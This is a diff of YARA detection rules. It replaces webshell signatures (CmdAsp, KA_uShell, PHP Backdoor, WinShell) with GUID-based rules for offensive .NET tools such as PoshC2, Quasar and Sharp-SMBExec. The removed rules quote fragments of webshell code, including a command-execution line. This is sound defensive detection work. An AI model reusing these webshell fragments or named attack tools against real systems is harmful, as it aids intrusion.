 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "echo \"\\t<th class=\\\"permission_header\\\"><a href=\\\"$self?{$d}sort=permission$r\\\">"
+		$typelibguid0lo = "f26bdb4a-5846-4bec-8f52-3c39d32df495" ascii wide
+		$typelibguid0up = "F26BDB4A-5846-4BEC-8F52-3C39D32DF495" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Unpack_Tback
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Poshc2_Misc : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file TBack.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b5f93621-e1e9-5aed-b574-471b4c1f9570"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7340-L7351"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a9d1007823bf96fb163ab38726b48464"
-		logic_hash = "0fb43766c305f4235cc0987f411fdc3b3674723687f0b63d346429f4a7b5b87f"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "245803cb-63d8-5c75-b672-912091cf4a80"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/nettitude/PoshC2_Misc"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3649-L3665"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b6cabc8a50db469162024b13df8d69f57ca5ec008bddc647aee2a73dff9942c8"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s5 = "\\final\\new\\lcc\\public.dll"
+		$typelibguid0lo = "85773eb7-b159-45fe-96cd-11bad51da6de" ascii wide
+		$typelibguid0up = "85773EB7-B159-45FE-96CD-11BAD51DA6DE" ascii wide
+		$typelibguid1lo = "9d32ad59-4093-420d-b45c-5fff391e990d" ascii wide
+		$typelibguid1up = "9D32AD59-4093-420D-B45C-5FFF391E990D" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Darkspy105
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpire : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file DarkSpy105.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9d519ccf-fe52-5b82-a39d-c9f86c1089e1"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7352-L7363"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f0b85e7bec90dba829a3ede1ab7d8722"
-		logic_hash = "0f1c9dba4525f9c30f309500652ed6af647ddf492f483e101fc23c891e15fc85"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "32bdaa0f-3afc-5e0e-a20f-e21f33909af7"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/0xbadjuju/Sharpire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3667-L3681"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f8ddf85c279c6ea4a2db679a0d5c816837e8bd91f1f6e15787dd34463483fc85"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s7 = "Sorry,DarkSpy got an unknown exception,please re-run it,thanks!"
+		$typelibguid0lo = "39b75120-07fe-4833-a02e-579ff8b68331" ascii wide
+		$typelibguid0up = "39B75120-07FE-4833-A02E-579FF8B68331" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Editserver_EXE
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharp_Smbexec : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file EditServer.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "97928144-0112-5288-8f95-acf7a0d56e71"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7364-L7377"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f945de25e0eba3bdaf1455b3a62b9832"
-		logic_hash = "d440669b0c0bf575cf9dea946edf55f724300a4c765e90c631fc1eee062bf006"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "6a1024af-734c-5974-af50-db51dbd694ff"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/checkymander/Sharp-SMBExec"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3683-L3697"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e9e248c4ac359a098f1ef26dc300e38836f070545db182a0b72a6eaf9bf003da"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "Server %s Have Been Configured"
-		$s5 = "The Server Password Exceeds 32 Characters"
-		$s8 = "9--Set Procecess Name To Inject DLL"
+		$typelibguid0lo = "344ee55a-4e32-46f2-a003-69ad52b55945" ascii wide
+		$typelibguid0up = "344EE55A-4E32-46F2-A003-69AD52B55945" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_FSO_S_Reader
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Misctools : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file reader.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d596f7f4-5b0d-5f17-94d3-2582ec041eb1"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7378-L7389"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b598c8b662f2a1f6cc61f291fb0a6fa2"
-		logic_hash = "89a948f8da66173965884cd525615c8eeb91cf98a4984c05be7472034bb72f76"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "ce49cc7b-a5a5-52b7-a7bf-bbb0c5b29b8a"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/rasta-mouse/MiscTools"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3699-L3721"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "551c11eb44007cefd7e588fa97659cea44cf64b32a2e061aab425aa4a67583ef"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "mailto:mailbomb@hotmail."
+		$typelibguid0lo = "384e9647-28a9-4835-8fa7-2472b1acedc0" ascii wide
+		$typelibguid0up = "384E9647-28A9-4835-8FA7-2472B1ACEDC0" ascii wide
+		$typelibguid1lo = "d7ec0ef5-157c-4533-bbcd-0fe070fbf8d9" ascii wide
+		$typelibguid1up = "D7EC0EF5-157C-4533-BBCD-0FE070FBF8D9" ascii wide
+		$typelibguid2lo = "10085d98-48b9-42a8-b15b-cb27a243761b" ascii wide
+		$typelibguid2up = "10085D98-48B9-42A8-B15B-CB27A243761B" ascii wide
+		$typelibguid3lo = "6aacd159-f4e7-4632-bad1-2ae8526a9633" ascii wide
+		$typelibguid3up = "6AACD159-F4E7-4632-BAD1-2AE8526A9633" ascii wide
+		$typelibguid4lo = "49a6719e-11a8-46e6-ad7a-1db1be9fea37" ascii wide
+		$typelibguid4up = "49A6719E-11A8-46E6-AD7A-1DB1BE9FEA37" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_ASP_Cmdasp
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Memorymapper : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file CmdAsp.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e4b48843-1936-5717-b2b6-add5b4a14d04"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7390-L7403"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "79d4f3425f7a89befb0ef3bafe5e332f"
-		logic_hash = "84c3148fe74b1afaa6e3bbff0aca8df1f1775759a36a673cc13d35ef7658929c"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "c978be10-315c-54e7-afea-f97e9a5f2d18"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/jasondrawdy/MemoryMapper"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3723-L3737"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ccdb8501b0f26aca352a13d5337d64c2eccff695bd052bd10bcd324c62c931e5"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "' -- Read the output from our command and remove the temp file -- '"
-		$s6 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)"
-		$s9 = "' -- create the COM objects that we will be using -- '"
+		$typelibguid0lo = "b9fbf3ac-05d8-4cd5-9694-b224d4e6c0ea" ascii wide
+		$typelibguid0up = "B9FBF3AC-05D8-4CD5-9694-B224D4E6C0EA" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_KA_Ushell
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Vanillarat : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file KA_uShell.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "34e220db-2fb5-59dc-b5e8-d88f844d3977"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7404-L7416"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "685f5d4f7f6751eaefc2695071569aab"
-		logic_hash = "58d25e19e2e14a909b4b623a85dfd8c62974121d3b23574d1e94b62385e42b45"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "9448e8d0-5bfc-5683-b633-284e43d24642"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/DannyTheSloth/VanillaRAT"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3739-L3755"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4241cbbf7cde175b6dfd27b59123e5e324f4356184dae07529dd021c0f3dbea9"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s5 = "if(empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_PW']<>$pass"
-		$s6 = "if ($_POST['path']==\"\"){$uploadfile = $_FILES['file']['name'];}"
+		$typelibguid0lo = "d0f2ee67-0a50-423d-bfe6-845da892a2db" ascii wide
+		$typelibguid0up = "D0F2EE67-0A50-423D-BFE6-845DA892A2DB" ascii wide
+		$typelibguid1lo = "a593fcd2-c8ab-45f6-9aeb-8ab5e20ab402" ascii wide
+		$typelibguid1up = "A593FCD2-C8AB-45F6-9AEB-8AB5E20AB402" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_PHP_Backdoor_V1
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Unmanagedpowershell : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file PHP Backdoor v1.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f47298a9-a47c-5088-ab1f-1bd76bfd0ca8"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7417-L7430"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0506ba90759d11d78befd21cabf41f3d"
-		logic_hash = "396ae1ee34a06ab4863f4f54257a9020b8747fb99dff15372f0aa54fa4598e43"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "49ff1362-0ac5-580d-97f3-516f2a10072b"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/leechristensen/UnmanagedPowerShell"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3757-L3771"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "26e59a31b1021c6e65711ee8d58cfdf3e1a8563b91f0f55722e1306854103ac6"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s5 = "echo\"<form method=\\\"POST\\\" action=\\\"\".$_SERVER['PHP_SELF'].\"?edit=\".$th"
-		$s8 = "echo \"<a href=\\\"\".$_SERVER['PHP_SELF'].\"?proxy"
+		$typelibguid0lo = "dfc4eebb-7384-4db5-9bad-257203029bd9" ascii wide
+		$typelibguid0up = "DFC4EEBB-7384-4DB5-9BAD-257203029BD9" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Svchostdll
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Quasar : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file svchostdll.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b369d702-1f29-56ec-a742-f87d9c42c775"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7431-L7450"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0f6756c8cb0b454c452055f189e4c3f4"
-		logic_hash = "4a7a7bb7d827c2e7801f8c33b292bb3d312428fc4ae79f07e103f456984c3b83"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "b938cf7d-27fd-5fa2-b0e5-d4da5670f3ef"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/quasar/Quasar"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3773-L3789"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "752602eecc404757f029aea481a58dc5b3d4c80f53fea1281e1ab8a78476d416"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "InstallService"
-		$s1 = "RundllInstallA"
-		$s2 = "UninstallService"
-		$s3 = "&G3 Users In RegistryD"
-		$s4 = "OL_SHUTDOWN;I"
-		$s5 = "SvcHostDLL.dll"
-		$s6 = "RundllUninstallA"
-		$s7 = "InternetOpenA"
-		$s8 = "Check Cloneomplete"
+		$typelibguid0lo = "cfda6d2e-8ab3-4349-b89a-33e1f0dab32b" ascii wide
+		$typelibguid0up = "CFDA6D2E-8AB3-4349-B89A-33E1F0DAB32B" ascii wide
+		$typelibguid1lo = "c7c363ba-e5b6-4e18-9224-39bc8da73172" ascii wide
+		$typelibguid1up = "C7C363BA-E5B6-4E18-9224-39BC8DA73172" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Hytop_Devpack_Server
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpadidnsdump : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file server.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "0e4fee1b-8a16-5738-9600-fa965f8c84c2"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7451-L7462"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1d38526a215df13c7373da4635541b43"
-		logic_hash = "66b8513a532f64af535c948da28674795ae6495b9844165c3b039bf61c25eb46"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "51d50b22-4e73-5378-9e0d-ad7730987293"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/b4rtik/SharpAdidnsdump"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3791-L3805"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fe1bfdd03fabe40c2b885121de343890dd7eea22b51e9a1133d0842ba1080c78"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<!-- PageServer Below -->"
+		$typelibguid0lo = "cdb02bc2-5f62-4c8a-af69-acc3ab82e741" ascii wide
+		$typelibguid0up = "CDB02BC2-5F62-4C8A-AF69-ACC3AB82E741" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Vanquish
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Dotnettojscript : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file vanquish.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "143e5e46-ffbc-5aee-9f9b-13374a6c3c10"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7463-L7476"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "684450adde37a93e8bb362994efc898c"
-		logic_hash = "223c59d06a9389f380fa29959c54e53a17b53080f704189ae519b9527b2c6384"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "31827074-fc63-5690-b6c7-8e89daacc07f"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/tyranid/DotNetToJScript"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3807-L3821"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ddaa4e3dac9d98f3aba0eff7a968a7599c2901ec8b668c5e1115ac67a0a77f30"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s3 = "You cannot delete protected files/folders! Instead, your attempt has been logged"
-		$s8 = "?VCreateProcessA@@YGHPBDPADPAU_SECURITY_ATTRIBUTES@@2HKPAX0PAU_STARTUPINFOA@@PAU"
-		$s9 = "?VFindFirstFileExW@@YGPAXPBGW4_FINDEX_INFO_LEVELS@@PAXW4_FINDEX_SEARCH_OPS@@2K@Z"
+		$typelibguid0lo = "7e3f231c-0d0b-4025-812c-0ef099404861" ascii wide
+		$typelibguid0up = "7E3F231C-0D0B-4025-812C-0EF099404861" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Winshell
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Inferno : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file winshell.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "24edd03a-df71-5d84-9764-ba7903b68064"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7477-L7496"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3144410a37dd4c29d004a814a294ea26"
-		logic_hash = "addbfa598039af09c0e4c50138fcfabd16c35c5516259cf9595cf49855da518d"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "af2d9832-c7f9-5879-a19b-a3c4d91b8b3f"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/LimerBoy/Inferno"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3823-L3837"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a3255a00a1c2773d34e9e859c3394752ea6bfc164c4694a001c9a1c9b384756b"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Software\\Microsoft\\Windows\\CurrentVersion\\RunServices"
-		$s1 = "WinShell Service"
-		$s2 = "__GLOBAL_HEAP_SELECTED"
-		$s3 = "__MSVCRT_HEAP_SELECT"
-		$s4 = "Provide Windows CmdShell Service"
-		$s5 = "URLDownloadToFileA"
-		$s6 = "RegisterServiceProcess"
-		$s7 = "GetModuleBaseNameA"
-		$s8 = "WinShell v5.0 (C)2002 janker.org"
+		$typelibguid0lo = "26d498f7-37ae-476c-97b0-3761e3a919f0" ascii wide
+		$typelibguid0up = "26D498F7-37AE-476C-97B0-3761E3A919F0" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_FSO_S_Remview
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpsearch : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file remview.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "5040ddbc-2e61-50ca-b738-a4ac8feec3f1"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7497-L7510"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b4a09911a5b23e00b55abe546ded691c"
-		logic_hash = "19719e8c9215ec9ba9fab55b604907e0a6d0a0507a5662926acff1e9dc03440e"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "459d8a34-f311-5459-8257-e7aa519174b5"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/djhohnstein/SharpSearch"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3839-L3853"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b213a12913abb631d67bf53049241a7087e3f9cda01fa66bd6c51bb1bd03c41f"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "      echo \"<hr size=1 noshade>\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\""
-		$s3 = "         echo \"<script>str$i=\\\"\".str_replace(\"\\\"\",\"\\\\\\\"\",str_replace(\"\\\\\",\"\\\\\\\\\""
-		$s4 = "      echo \"<hr size=1 noshade>\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n<"
+		$typelibguid0lo = "98fee742-8410-4f20-8b2d-d7d789ab003d" ascii wide
+		$typelibguid0up = "98FEE742-8410-4F20-8B2D-D7D789AB003D" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Saphpshell
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpsecdump : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file saphpshell.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "42bcd739-714e-5dbf-a3a1-929f3d16ed6f"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7511-L7522"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d7bba8def713512ddda14baf9cd6889a"
-		logic_hash = "24d558292a709bb29334b1acdc53cdb6c5bc6803caec527edcacd6a19f6dc7c9"
